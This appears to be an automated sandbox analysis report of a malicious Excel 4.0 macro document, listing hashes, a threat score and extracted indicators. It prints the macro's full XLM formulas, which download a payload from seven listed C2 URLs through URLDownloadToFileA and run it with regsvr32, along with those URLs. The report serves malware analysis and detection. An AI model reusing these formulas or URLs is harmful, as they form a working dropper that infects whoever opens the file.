General

  • Target

    a21112625d24929a25d430706012f0975beb4b51c65d28a6f85c617a807864b5

  • Size

    38KB

  • Sample

    241120-n2p2pswdjc

  • MD5

    7175e043d2d89ccff0c6cf26b60fd7ea

  • SHA1

    5198fc9ce768821217dc47a8af2951a631158974

  • SHA256

    a21112625d24929a25d430706012f0975beb4b51c65d28a6f85c617a807864b5

  • SHA512

    785e0d8e49ed1e3f7a6c6002f47376316495fd69bfbd05eb9565b81c4c9788c9ce0c62f9fa2509feb39e68ad56432339823ea499dc717eaee82cb8c861bc31cd

  • SSDEEP

    768:CbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:CwDOZZ1ZYpoQ/pMAeVIyYzaT

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

xlm40.dropper

https://risamfg.com/wp-admin/JtqFQW/

xlm40.dropper

https://thailand-rocco.com/wp-content/gE7UvFwLh/

xlm40.dropper

https://pregy.org/test/rXTl1DEv0CWCE/

xlm40.dropper

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

xlm40.dropper

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

xlm40.dropper

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Targets

    • Target

      a21112625d24929a25d430706012f0975beb4b51c65d28a6f85c617a807864b5

    • Size

      38KB

    • MD5

      7175e043d2d89ccff0c6cf26b60fd7ea

    • SHA1

      5198fc9ce768821217dc47a8af2951a631158974

    • SHA256

      a21112625d24929a25d430706012f0975beb4b51c65d28a6f85c617a807864b5

    • SHA512

      785e0d8e49ed1e3f7a6c6002f47376316495fd69bfbd05eb9565b81c4c9788c9ce0c62f9fa2509feb39e68ad56432339823ea499dc717eaee82cb8c861bc31cd

    • SSDEEP

      768:CbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:CwDOZZ1ZYpoQ/pMAeVIyYzaT

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks